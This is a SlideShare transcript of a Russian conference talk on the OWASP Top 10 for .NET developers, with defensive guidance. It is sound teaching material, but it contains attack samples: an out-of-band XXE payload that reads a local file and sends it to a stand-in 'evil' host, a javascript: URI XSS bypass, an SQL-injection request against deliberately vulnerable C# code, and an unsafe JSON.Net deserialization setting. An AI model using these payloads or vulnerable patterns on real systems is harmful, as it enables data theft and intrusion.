SlideShare a Scribd company logo
Заголовок
ptsecurity.com
OWASP TOP 10
для .NET
Владимир Кочетков
Positive Technologies
Заголовок
Руководитель отдела исследований по анализу защищённости
приложений Positive Technologies
AppSec- и CS-исследователь (формальные методы анализа и
защиты приложений)
Организатор Positive Development User Group
https://about.me/vladimir.kochetkov
vkochetkov@ptsecurity.com
:~$ whoami
Заголовок
Открытое сообщество разработчиков и IT-
специалистов, посвящённое вопросам
безопасности приложений.
https://t.me/ru_appsec
Positive Development User Group
Заголовок
ptsecurity.com
approof.ptsecurity.com
github.com/libprotection
LibProtection
• Анализатор защищённости веб-приложений
.NET, Java, PHP
• Анализ конфигурации и уязвимых компонентов
• Сигнатурный статический анализ
• Поиск веб-шеллов и вредоносных сценариев
• Сбор статистики по проекту
• Альтернативная реализация форматных и
интерполированных строк, встраивающих в
приложение автоматическую защиту от атак
инъекций
• .NET 4.0+ (скоро: Kotlin, C++, Python, PHP,
JavaScript)
• SQL, HTML, JavaScript, URL и файловые пути
(скоро: XML, CSS, XPATH, CMD, BASH)
Заголовок
• Мастер-класс «Трущобы Application Security»
• Подводные камни прикладной криптографии
• ASP.NET Core: Preventing attacks 2.0
• .NET Security Cheat Sheet
Disclaimer или «хотите знать больше?»
Заголовок
OWASP TOP 10
Заголовок
• Хит-парад проблем безопасности веб-приложений,
формируемый с 2004, каждые 3-4 года, на основе опросов,
отчётов и аналитики множества компаний и независимых
экспертов: github.com/OWASP/Top10
• Включает в себя, как недостатки, так и атаки
• Версия 2017 года формировалась на основе отчётов более, чем
40 мировых компаний, содержавших статистику об уязвимостях
в 114 897 приложениях и опросов около 500 независимых
экспертов.
WTF OWASP TOP 10?
Заголовок
A primary aim of the OWASP Top 10 is to educate developers,
designers, architects, managers, and organizations about the
consequences of the most common and most important web
application security weaknesses
Предназначение OWASP TOP 10
Заголовок
A10:2017 – Insufficient Logging and Monitoring
Заголовок
Класс недостатков, связанных с низкой информативностью
диагностических средств или возможностью нарушения
целостности обрабатываемой ими информации
Неэффективное журналирование и мониторинг
Заголовок
• События управления доступом:
• Аутентификация и авторизация (как успех, так и отказ)
• Выдача сессионных токенов или других билетов аутентификации
• Явное завершение пользовательской сессии
• Восстановление доступа
• Все попытки доступа к конфиденциальной информации и
изменения целостной, включая результаты таких попыток
• Все ошибки и исключения (включая перехватываемые)
Что и когда логировать
Заголовок
• Просканировать приложение любым black-box анализатором:
• bbs.ptsecurity.com
• www.acunetix.com
• subgraph.com/vega
• Убедиться, что сформированные в ходе сканирования логи
достаточны для того, чтобы подтвердить факт
автоматизированной атаки
Простой способ убедиться в эффективности логирования
Заголовок
• Использовать существующие средства журналирования с
возможностью безопасной параметризации:
• github.com/NLog/Nlog
• serilog.net
• Все данные, производные от входных, записывать в лог через
параметризацию
• Обратить внимание на проект: github.com/Azure/diagnostics-
eventflow
Журналирование в .NET
Заголовок
A9:2017 – Using Components with Known
Vulnerabilities
Заголовок
github.com/jeremylong/DependencyCheck
vulners.com
Проверка уязвимых компонентов .NET-приложений
Заголовок
A8:2017 – Insecure Deserialization
Заголовок
• Недостаток, в результате которой атакующий имеет возможность
выполнить произвольный код на целевой системе или нарушить
целостность модели предметной области приложения
• Атака возможна в случаях, если атакующий контролирует
сериализованный объект и:
• у него есть возможность контролировать тип объекта, создаваемого
десериализатором;
• ожидаемый десериализатором тип содержит поля или свойства, для
которых актуальны угрозы нарушения целостности, авторизованности
или аутентичности.
Незащищённая десериализация
Заголовок
• В ходе реконструкции объекта могут использоваться вызовы:
• Конструкторов по умолчанию и заполнение полей и свойств через
рефлексию или вызовы соответствующих сеттеров
• «Специальных» конструкторов
• Конвертеров типов
• Обратных вызовов
• Рано или поздно (в большинстве случаев), созданный объект
будет финализирован и собран GC
Как работает сериализатор?
ЗаголовокСериализаторы .NET Framework (© Alvaro Muñoz)
ЗаголовокСериализаторы JSON (© Alvaro Muñoz)
Заголовок
// ...
services.AddMvc().AddJsonOptions(options =>
{
// XXX ∈ {
// TypeNameHandling.All,
// TypeNameHandling.Auto,
// TypeNameHandling.Arrays,
// TypeNameHandling.Objects
// }
options.SerializerSettings.TypeNameHandling = TypeNameHandling.XXX;
});
// ...
Уязвимый код (JSON.Net)
Заголовок
• Сформировать все возможные векторы атаки для используемого
десериализатора с помощью: github.com/pwntester/ysoserial.net
• Убедиться, что при передаче их в качестве сериализованных
объектов, заданная в векторе команда не выполняется
Лёгкий способ протестировать десериализатор
Заголовок
• Не десереализовывать входные данные
• При пробросе сериализованных данных между HTTP-запросами
использовать подтверждение их аутентичнсти (цифровую
подпись)
• Использовать десериализатор со строгим контролем типов
• Избегать использования при десериализации какой-либо
информации о типах, производной из входных данных
Как защититься?
Заголовок
• Attacking .NET Serialization
• Breaking .NET Through Serialization
Хотите знать больше?
Заголовок
A7:2017 – Cross-Site Scripting (XSS)
Заголовок
• Атака (как правило – инъекции), направленная на выполнение
кода произвольного сценария на клиенте в контексте атакуемого
сайта → обход ограничений same origin policy
• Специфические подходы к защите:
• X-XSS-Protection:
• 1;mode=block
• 1;report=http://example.com/report_URI
• X-Content-Type-Option: nosniff
• Content-Security-Policy:
(www.owasp.org/index.php/OWASP_Secure_Headers_Project )
• Access-Control-Allow-Origin:
(www.owasp.org/index.php/HTML5_Security_Cheat_Sheet#Cross_Origin_Resource_Sharin
g)
Межсайтовый скриптинг
Заголовок
<?i[a-z!/?]|&#
habrahabr.ru/company/pt/blog/178357
О костылях: валидация запросов ASP.NET
Заголовок
A6:2017 – Security Misconfiguration
ЗаголовокКак должно быть (разработчик, безопасник, администратор)
ЗаголовокКак обычно получается
Заголовок
Обеспечивать безопасность первоначальной (дефолтной)
конфигурации приложения
Что должен делать разработчик?
Заголовок
• При разработке нового проекта под ASP.NET MVC5 взять за
основу шаблон github.com/johnstaveley/SecurityEssentials/
• github.com/ASP-NET-Core-Boilerplate/Templates – при разработке
под ASP.NET Core
• Если это невозможно, обеспечить безопасность первоначальной
конфигурации вручную
Так, а делать-то – что?
Заголовок
• Убрать из конфигурационных файлов все неиспользуемые
директивы и опции
• Обеспечить отсутствие в релизной конфигурации по умолчанию
реквизитов доступа к каким-либо ресурсам
• Использовать .NET 4.6.2+ или .NET Core 2.0+ (поддержка TLS
1.1/1.2, расширенная валидация запросов, защита от XXE и т. п.)
Защита конфигурации: базовый чек-лист (1/4)
Заголовок
• Использовать опции из Web.Config, рекомендованного OWASP:
gist.github.com/kochetkov/1132463fb16725694640404c04040621
• Использовать точечное отключение валидации запросов только
там, где это действительно необходимо:
• На страницах: <@ Page validateRequest="false" %>
• В контроллерах: [ValidateInput(false)]
• В свойствах модели: [AllowHtml]
• В выражениях: Request.Unvalidated()
Защита конфигурации: базовый чек-лист (2/4)
Заголовок
• Убрать HTTP-заголовки:
<httpRuntime enableVersionHeader="false" />
HttpContext.Current.Response.Headers.Remove("Server");
• Форсировать отправку cookies через TLS:
<httpCookies requireSSL="true"
xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true"
xdt:Transform="SetAttributes(requireSSL)"/>
</authentication>
Защита конфигурации: базовый чек-лист (3/4)
Заголовок
• Для проектов под ASP.NET Core использовать
github.com/andrewlock/NetEscapades.AspNetCore.SecurityHeaders
Защита конфигурации: базовый чек-лист (4/4)
Заголовок
A5:2017 – Broken Access Control
Заголовок
• Недостаток, позволяющий атакующему воспользоваться
привилегиями под учётной записью, которая ими не обладает.
• Некоторые возможные причины:
• Отсутствие или неэффективность проверок доступа
• Использование незащищённых идентификаторов ресурсов
• Возможность подделки, воспроизведения или использования
сессионных токенов
• Неправильная конфигурация CORS
• Отсутствие проверок доступа в методах контроллеров, изменяющих
состояние модели
Неэффективный контроль доступа
Заголовок
• Вся доступная функциональность бизнес-логики должна быть
распределена между ролями явным образом. Гость – тоже роль.
services.ConfigureMvc(options =>
{
options.Filters.Add(
new AuthorizeFilter(new AuthorizationPolicyBuilder()
.RequireAuthenticatedUser()
.Build()));
});
Как защититься (1/2)
Заголовок
• Элементы контроля доступа должны быть реализованы на всех
слоях:
• Представление: сокрытие информации о недоступной
функциональности
• Бизнес-логика: отсутствие функциональности, меняющей состояние
модели до выполнения авторизации
• Модель: контроль доступа с учетом запрашиваемых данных (row-level
security и т.п)
• Идентификаторы объектов должны обладать прямой и обратной
секретностью
Как защититься (2/2)
Заголовок
A4:2017 – XML External Entities (XXE)
Заголовок
• Атака на парсер XML, основанная на внедрении в документ
внешних сущностей и позволяющая осуществлять чтение
локальных файлов и, в некоторых случаях, выполнять
произвольный код
• Возможна, если в парсере XML включена обработка внешних
сущностей
Внедрение внешних сущностей XML
Заголовок
attack.xml:
<?xml version="1.0" encoding="uq-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
%remote; %internal; %trick;
]>
evil.xml:
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % internal "<!ENTITY &#37; trick SYSTEM
http://evil/?%payload;'>">
Пример атаки Out-of-Band XXE Data Retrieval
Заголовок
• XmlReader
• Свойство ProhibitDtd
• .NET <4.0: true/false, по умолчанию – true;
• .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Prohibit;
• XmlTextReader
• Свойство ProhibitDtd
• .NET <4.0: true/false, по умолчанию – true;
• .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Parse;
• XmlDocument
• Свойство XmlResolver
• .NET <4.6: DefaultXmlResolver
• .NET 4.6+: null
XML парсеры .NET
Заголовок
• XXE and .NET
• XML Out-of-Band Data Retrieval
Хотите знать больше?
Заголовок
A3:2017 – Sensitive Data Exposure
Заголовок
• Недостаток, позволяющий атакующему получить доступ к
конфиденциальной информации
• Причины:
• Утечки по побочным каналам (тайминги, реакция приложения на
штатные запросы)
• Неэффективное использование криптографии
• Использование незащищённых протоколов передачи информации
Разглашение значимых данных
ЗаголовокТайминг-атаки
LAN: разница в 200 наносекунд за 1000 измерений;
Internet: разница в 30 микросекунд за 1000 измерений;
www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf
В случае с HTTP есть возможность усилить канал:
xakep.ru/2015/06/03/web-app-hack-keep-alive
Добавление случайных временных задержек проблему не
решает:
events.ccc.de/congress/2012/Fahrplan/attachments/2235_29c3-
schinzel.pdf
Заголовок
ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (1/2)
var fieldName = Request["field"] ?? "Id";
var minValue = Request["min"];
var maxValue = Request["max"];
var queryTemplate = string.Format(
"SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}",
Regex.Replace(fieldName, "?i[^a-z0-9]+", string.Empty)
);
var selectCommand = string.Format(queryTemplate, debugStr);
var cmd = new SqlCommand(selectCommand, dataConnection);
cmd.Parameters.Add(new SqlParameter("@minValue", minValue));
cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue));
...
/users/filter.aspx?field={fieldName}&min={minBalue}&max={maxValue}
Users
Id
Nickname
Rating
MessageCount
TopicCount
Password
ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (2/2)
var fieldName = Request["field"] ?? "Id";
var minValue = Request["min"];
var maxValue = Request["max"];
var queryTemplate = string.Format(
"SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}",
Regex.Replace(fieldName, "[^a-zA-Z0-9]+", string.Empty)
);
var selectCommand = string.Format(queryTemplate, debugStr);
var cmd = new SqlCommand(selectCommand, dataConnection);
cmd.Parameters.Add(new SqlParameter("@minValue", minValue));
cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue));
...
/users/filter.aspx?field=Password&min=0&max=0
Users
Id
Nickname
Rating
MessageCount
TopicCount
Password
Заголовок
• HTTP через TLS. Предназначен для обеспечения:
• конфиденциальности и целостности данных, передаваемых по HTTP;
• аутентичности стороны сервера (реже – и клиента).
• Или иными словами для защиты от атак класса MitM.
Немного об HTTPS
Заголовок
• Популярные подходы:
• HTTP по умолчанию, HTTPS по выбору пользователя,
• HTTP везде, критические точки входа через HTTPS,
неэффективны и подвержены атакам TLS Stripping.
• Частично противодействовать им можно, используя:
• site-wide HTTPS без опционального HTTP,
• HTTP-заголовок: Strict-Transport-Security: max-age=expireTime [;
includeSubdomains],
при условии, что первый раз пользователь попадет на сайт
по протоколу HTTPS.
Немного об HTTPS
Заголовок
A2:2017 – Broken Authentication
Заголовок
• Недостаток, позволяющий атакующему получать информацию
об учётных данных других пользователей или
аутентифицироваться от лица других пользователей
• Причины:
• Отсутствие или неэффективная реализация защиты от
автоматизированных атак (прямой перебор по пользователю или
паролю, набивка учетных данных и т.п)
• Неэффективный контроль сложности паролей
• Хранение учётных данных в открытом или недостаточно защищённом
виде
• Отсутствие или неэффективное использование 2FA
• Проблемы конфиденциальности и актуальности сессионных токенов
Неэффективная аутентификация
Заголовок
• Внедрение средств анти-автоматизации (reCAPTCHA)
• Ограничение (замедление) попыток прямого перебора
• Пароля по известному имени
• Имени по известному паролю
• Утекших учётных данных с других ресурсов
• Внедрение средств контроля сложности паролей (есть нюансы)
Как защититься
Заголовок
Криптографические функции хэширования не подходят для
задачи хранения учётных данных.
Для хэширования паролей следует использовать адаптивные
функции Argon2 (password-hashing.net), PBKDF2, scrypt, bcrypt:
pwd-hash = salt || adaptive_hash(password, salt)
или дайджест-функции:
pwd-hash = salt || HMAC-SHA-256(password, salt, secret)
Общие принципы хранения паролей
Заголовок
• Предназначение соли — затруднение атак по словарям и
радужным таблицам
• Соль не является секретом и должна быть случайной и
уникальной для каждого пароля
• Длина соли должна быть достаточной для обеспечения
энтропии salt || password >= 256 бит для любого возможного
пароля → длина соли >= 32 байта
Соль
Заголовок
// .NET Framework
public static string GetPasswordHash(string password)
{
var rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, 32);
rfc2898DeriveBytes.IterationCount = 16384;
byte[] hash = rfc2898DeriveBytes.GetBytes(32);
byte[] salt = rfc2898DeriveBytes.Salt;
return Convert.ToBase64String(salt) + "|" + Convert.ToBase64String(hash);
}
// .NET Core
public static string GetPasswordHash(string password)
{
byte[] salt = new byte[128 / 8];
using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); }
string hash = Convert.ToBase64String(KeyDerivation.Pbkdf2(
password: password,
salt: salt,
prf: KeyDerivationPrf.HMACSHA256,
iterationCount: 16384,
numBytesRequested: 256 / 8));
return Convert.ToBase64String(salt) + "|" + hash;
}
Хранение паролей в .NET
Заголовок
• Password Storage Cheat Sheet
Хотите знать больше?
Заголовок
A1:2017 – Injection
Заголовок
• Уязвимость к атакам инъекции – состояние приложения, в
котором возможно внедрение в выходные данные
грамматических конструкций, не предусмотренных логикой
приложения
• Тема защиты от атак инъекций была достаточно подробно
раскрыта в докладе «Побеждая инъекции» на DotNext Moscow
2017 (слайды, видео)
• По исходным данным OWASP TOP 10 2017, этому классу атак
подвержены 60.6% приложений.
Инъекция
Заголовок
• «…достаточно банальные примеры, которые были бы актуальны
несколько лет назад»
• «…в целом доклад теряет свой смысл, если код написан без
использования устаревших подходов»
• «…[LibProtection] скорее для компаний, которые не заботятся о
коде, живут в легаси-системах и не знают, что после .NET 2.0
выходили более новые версии, а .NET Core для них просто
ругательство»
По следам полученного фидбека (1/2)
Заголовок
• «…не рассказал как правильно делать, а просто рассказывал
про то, как костылями можно дырки закрывать»
• «…был задан правильный вопрос про то, что многие так уже не
пишут, а используют объектный подход. Каких атак тогда
опасаться?»
По следам полученного фидбека (2/2)
Заголовок
Использование объектного подхода
в борьбе с инъекциями
Заголовок
Реализовать в приложении ASP.NET Core MVC рендер ссылок,
безопасно обрабатывающий некорректные URL и генерирующий
для ссылок на внешние ресурсы вывод диалога с
предупреждением.
Проблема
Заголовок
public override void Process(TagHelperContext context, TagHelperOutput output)
{
var url = context.AllAttributes["href"].Value.ToString();
if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
{
throw new UriFormatException("Malformed URI");
}
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; }
var onclickHandler =
$"return confirm('You are about visit an external link: {uri} Are you sure?')";
output.Attributes.SetAttribute("onclick", onclickHandler);
}
Решение: реализовать TagHelper для тегов <a>
ЗаголовокDEMO #1
ЗаголовокПричина уязвимости – вариативность грамматики URI
javascript://localhost/?a=rnalert(1)
System.Uri Browser
javascript: Scheme javascript: Scheme
// - (separator) //localhost/?a= JS-comment
localhost Domain rn Line-feed
/ - (separator) alert(1) JS-expression
? - (separator)
a=rnalert(1) Query-parameter
Заголовок
public override void Process(TagHelperContext context, TagHelperOutput output)
{
var url = context.AllAttributes["href"].Value.ToString();
if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
{
throw new UriFormatException("Malformed URI");
}
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; }
if (!Regex.IsMatch(uri.Scheme, "https?|ftp"))
{
throw new UriFormatException("Invalid scheme");
}
var onclickHandler =
$"return confirm('You are about visit an external link: {uri} Are you sure?')";
output.Attributes.SetAttribute("onclick", onclickHandler);
}
Устранение уязвимости
Заголовок
Какими будут URL создаваемые с помощью
new Uri("/path", <UriKind>) ?
http://www.mono-project.com/docs/faq/known-issues/urikind-relativeorabsolute/
https://github.com/dotnet/corefx/issues/22098
Ещё немного о объектном подходе на примере System.Uri
.ctor
.NET 4.7,
.NET Core 2.0,
Mono 5.4
(Windows)
.NET Core 2.0
(Linux)
Mono 5.4
(Linux)
new Uri("/path", UriKind.Absolute) Исключение Абсолютный Абсолютный
new Uri("/path", UriKind.Relative) Относительный Исключение Относительный
new Uri("/path", UriKind.RelativeOrAbsolute) Относительный Относительный Абсолютный
Заголовок
• Средства параметризации и объектного подхода:
• всего лишь частный случай типизации в рамках борьбы с инъекциями;
• не всегда существуют или применимы и не являются панацеей;
• могут содержать неоднозначности, уязвимости и ошибки в своём коде;
• часто требуют от разработчика доскональных знаний грамматик и
деталей своей реализации.
• Думать всё равно придётся  (даже, в случае с LibProtection)
Вся правда о «современных средствах разработки»
ЗаголовокКстати, о LibProtection (aka «костыльном подходе»)
private static string BuildSafeLinkTag(string url, string text, string localhost)
{
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
var clickHandler = uri.IsAbsoluteUri && localhost != uri.Host ?
$"return confirm('Are you sure you want to follow this link: {uri} ?')" :
"return true"
return SafeString.Format<Html>(
$"<a href='{uri}' onclick='{clickHandler:safe}'>{text}</a>"
);
}
Заголовок
ptsecurity.com
Спасибо!
Спасибо!

More Related Content

PPTX
Waf.js: как защищать веб-приложения с использованием JavaScript
PDF
CodeFest 2012 - Пентест на стероидах
PDF
Микросервисы для автоматизации тестирования - опыт "Одноклассников"
PPTX
Application security? Firewall it!
PPTX
Воркшоп по анализ защищённости веб-приложений
PDF
Автоматизация функционального тестирования REST API
PDF
Уязвимое Android-приложение: N проверенных способов наступить на грабли
PPTX
Tyurin Alexey - NTLM. Part 1. Pass-the-Hash
Waf.js: как защищать веб-приложения с использованием JavaScript
CodeFest 2012 - Пентест на стероидах
Микросервисы для автоматизации тестирования - опыт "Одноклассников"
Application security? Firewall it!
Воркшоп по анализ защищённости веб-приложений
Автоматизация функционального тестирования REST API
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Tyurin Alexey - NTLM. Part 1. Pass-the-Hash

What's hot (20)

PDF
Безопасность Drupal сайтов
PPTX
Безопасность сессий в веб-приложениях: практическое применение
PPTX
Опыт организации тестирования безопасности Web приложений в компании
PPTX
Пост-эксплуатация веб-приложений в тестах на проникновение
PPTX
[DagCTF 2015] Hacking motivation
PPT
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
PPTX
Философия Application Security
KEY
Безопасность веб-приложений: starter edition
PPTX
Random numbers in Ethereum blockchain rus
PPT
Fuzzing - автоматическое тестирование безопасности
PDF
OWASP: безопасное программирование на PHP.
PDF
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)
KEY
Securing Rails Applications
PDF
От экспериментального программирования к промышленному: путь длиной в 10 лет
PDF
The Old New ASP.NET
PDF
Популярні способи зломів та шахрайські схеми
PPSX
MS TFS 2010 - Обзор и архитектура
PDF
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
PDF
Реактивный двигатель вашего Android приложения
PDF
Формальная верификация кода на языке Си
Безопасность Drupal сайтов
Безопасность сессий в веб-приложениях: практическое применение
Опыт организации тестирования безопасности Web приложений в компании
Пост-эксплуатация веб-приложений в тестах на проникновение
[DagCTF 2015] Hacking motivation
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Философия Application Security
Безопасность веб-приложений: starter edition
Random numbers in Ethereum blockchain rus
Fuzzing - автоматическое тестирование безопасности
OWASP: безопасное программирование на PHP.
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)
Securing Rails Applications
От экспериментального программирования к промышленному: путь длиной в 10 лет
The Old New ASP.NET
Популярні способи зломів та шахрайські схеми
MS TFS 2010 - Обзор и архитектура
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Реактивный двигатель вашего Android приложения
Формальная верификация кода на языке Си
Ad

Similar to Владимир Кочетков "OWASP TOP 10 для.NET" (20)

PPTX
AppSec -- хакерский путь
PPT
Sergey Gordeychik, Application Security in real word
PPTX
Основной вектор атак — приложения
PPT
Оценка защищенности Web-приложений
PPT
Sergey Gordeychik SQADays 2008
PPT
Введение в тему безопасности веб-приложений
PDF
Safety and Security of Web-applications (Document)
PPTX
Secure development
PPT
Анализ защищенности интернет-проектов
PPTX
как разработать защищенное веб приложение и не сойти с ума. владимир кочетков
PPTX
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
PPTX
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
PPT
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
PDF
2013 09 21 безопасность веб-приложений
PPT
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
PPT
Безопасность веб-приложений сегодня
PDF
Практика обнаружения атак, использующих легальные инструменты
PDF
Web vulnerabilities-2018
PDF
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...
PPTX
Эволюция атак на веб приложения (Evolution of web applications attacks)
AppSec -- хакерский путь
Sergey Gordeychik, Application Security in real word
Основной вектор атак — приложения
Оценка защищенности Web-приложений
Sergey Gordeychik SQADays 2008
Введение в тему безопасности веб-приложений
Safety and Security of Web-applications (Document)
Secure development
Анализ защищенности интернет-проектов
как разработать защищенное веб приложение и не сойти с ума. владимир кочетков
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
2013 09 21 безопасность веб-приложений
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
Безопасность веб-приложений сегодня
Практика обнаружения атак, использующих легальные инструменты
Web vulnerabilities-2018
Валерий Боронин (Россия), Positive Technologies. SSDL для руководителей: как ...
Эволюция атак на веб приложения (Evolution of web applications attacks)
Ad

More from MskDotNet Community (19)

PPTX
Антон Сысоев «IIoT: на границе HW и .NET»
PPTX
Николай Гусев «Функциональное программирование для C# разработчиков»
PDF
Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...
PDF
Юлия Ковалёва. Fscheck — альтернативный путь для unit тестов
PDF
Дмитрий Сошников Искусственный интеллект и нейросети для .NET-разработчиков
PPTX
Викторина MskDotNet Субботник
PDF
Елизавета Голенок Переходим на mono или как это было
PDF
Иван Кочуркин. Теория и практика парсинга формальных языков
PPTX
Дмитрий Тежельников «Разработка вэб-решений с использованием Asp.NET.Core и ...
PDF
Павел Притчин "Конфигурации в.NET"
PPTX
Андрей Кирпичев "Гибкая модульность инструментами АОП"
PPTX
Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере"
PDF
Андрей Матвеев "Основные принципы микросервисов и их реализации"
PDF
Александр Сурков «Вещи» в «Интернете вещей»
PDF
Петр Тимошевский «Industrial IoT на практике»
PDF
Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...
PDF
Илья Ефимов «IoC/DI на примере Autofac»
PDF
Кирилл Маурин «Проектирование и разработка модульных приложений»
PDF
Владимир Кошелев «Автоматический поиск ошибок»
Антон Сысоев «IIoT: на границе HW и .NET»
Николай Гусев «Функциональное программирование для C# разработчиков»
Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...
Юлия Ковалёва. Fscheck — альтернативный путь для unit тестов
Дмитрий Сошников Искусственный интеллект и нейросети для .NET-разработчиков
Викторина MskDotNet Субботник
Елизавета Голенок Переходим на mono или как это было
Иван Кочуркин. Теория и практика парсинга формальных языков
Дмитрий Тежельников «Разработка вэб-решений с использованием Asp.NET.Core и ...
Павел Притчин "Конфигурации в.NET"
Андрей Кирпичев "Гибкая модульность инструментами АОП"
Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере"
Андрей Матвеев "Основные принципы микросервисов и их реализации"
Александр Сурков «Вещи» в «Интернете вещей»
Петр Тимошевский «Industrial IoT на практике»
Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...
Илья Ефимов «IoC/DI на примере Autofac»
Кирилл Маурин «Проектирование и разработка модульных приложений»
Владимир Кошелев «Автоматический поиск ошибок»

Владимир Кочетков "OWASP TOP 10 для.NET"

  • 1. Заголовок ptsecurity.com OWASP TOP 10 для .NET Владимир Кочетков Positive Technologies
  • 2. Заголовок Руководитель отдела исследований по анализу защищённости приложений Positive Technologies AppSec- и CS-исследователь (формальные методы анализа и защиты приложений) Организатор Positive Development User Group https://about.me/vladimir.kochetkov vkochetkov@ptsecurity.com :~$ whoami
  • 3. Заголовок Открытое сообщество разработчиков и IT- специалистов, посвящённое вопросам безопасности приложений. https://t.me/ru_appsec Positive Development User Group
  • 4. Заголовок ptsecurity.com approof.ptsecurity.com github.com/libprotection LibProtection • Анализатор защищённости веб-приложений .NET, Java, PHP • Анализ конфигурации и уязвимых компонентов • Сигнатурный статический анализ • Поиск веб-шеллов и вредоносных сценариев • Сбор статистики по проекту • Альтернативная реализация форматных и интерполированных строк, встраивающих в приложение автоматическую защиту от атак инъекций • .NET 4.0+ (скоро: Kotlin, C++, Python, PHP, JavaScript) • SQL, HTML, JavaScript, URL и файловые пути (скоро: XML, CSS, XPATH, CMD, BASH)
  • 5. Заголовок • Мастер-класс «Трущобы Application Security» • Подводные камни прикладной криптографии • ASP.NET Core: Preventing attacks 2.0 • .NET Security Cheat Sheet Disclaimer или «хотите знать больше?»
  • 7. Заголовок • Хит-парад проблем безопасности веб-приложений, формируемый с 2004, каждые 3-4 года, на основе опросов, отчётов и аналитики множества компаний и независимых экспертов: github.com/OWASP/Top10 • Включает в себя, как недостатки, так и атаки • Версия 2017 года формировалась на основе отчётов более, чем 40 мировых компаний, содержавших статистику об уязвимостях в 114 897 приложениях и опросов около 500 независимых экспертов. WTF OWASP TOP 10?
  • 8. Заголовок A primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most common and most important web application security weaknesses Предназначение OWASP TOP 10
  • 10. Заголовок Класс недостатков, связанных с низкой информативностью диагностических средств или возможностью нарушения целостности обрабатываемой ими информации Неэффективное журналирование и мониторинг
  • 11. Заголовок • События управления доступом: • Аутентификация и авторизация (как успех, так и отказ) • Выдача сессионных токенов или других билетов аутентификации • Явное завершение пользовательской сессии • Восстановление доступа • Все попытки доступа к конфиденциальной информации и изменения целостной, включая результаты таких попыток • Все ошибки и исключения (включая перехватываемые) Что и когда логировать
  • 12. Заголовок • Просканировать приложение любым black-box анализатором: • bbs.ptsecurity.com • www.acunetix.com • subgraph.com/vega • Убедиться, что сформированные в ходе сканирования логи достаточны для того, чтобы подтвердить факт автоматизированной атаки Простой способ убедиться в эффективности логирования
  • 13. Заголовок • Использовать существующие средства журналирования с возможностью безопасной параметризации: • github.com/NLog/Nlog • serilog.net • Все данные, производные от входных, записывать в лог через параметризацию • Обратить внимание на проект: github.com/Azure/diagnostics- eventflow Журналирование в .NET
  • 14. Заголовок A9:2017 – Using Components with Known Vulnerabilities
  • 17. Заголовок • Недостаток, в результате которой атакующий имеет возможность выполнить произвольный код на целевой системе или нарушить целостность модели предметной области приложения • Атака возможна в случаях, если атакующий контролирует сериализованный объект и: • у него есть возможность контролировать тип объекта, создаваемого десериализатором; • ожидаемый десериализатором тип содержит поля или свойства, для которых актуальны угрозы нарушения целостности, авторизованности или аутентичности. Незащищённая десериализация
  • 18. Заголовок • В ходе реконструкции объекта могут использоваться вызовы: • Конструкторов по умолчанию и заполнение полей и свойств через рефлексию или вызовы соответствующих сеттеров • «Специальных» конструкторов • Конвертеров типов • Обратных вызовов • Рано или поздно (в большинстве случаев), созданный объект будет финализирован и собран GC Как работает сериализатор?
  • 21. Заголовок // ... services.AddMvc().AddJsonOptions(options => { // XXX ∈ { // TypeNameHandling.All, // TypeNameHandling.Auto, // TypeNameHandling.Arrays, // TypeNameHandling.Objects // } options.SerializerSettings.TypeNameHandling = TypeNameHandling.XXX; }); // ... Уязвимый код (JSON.Net)
  • 22. Заголовок • Сформировать все возможные векторы атаки для используемого десериализатора с помощью: github.com/pwntester/ysoserial.net • Убедиться, что при передаче их в качестве сериализованных объектов, заданная в векторе команда не выполняется Лёгкий способ протестировать десериализатор
  • 23. Заголовок • Не десереализовывать входные данные • При пробросе сериализованных данных между HTTP-запросами использовать подтверждение их аутентичнсти (цифровую подпись) • Использовать десериализатор со строгим контролем типов • Избегать использования при десериализации какой-либо информации о типах, производной из входных данных Как защититься?
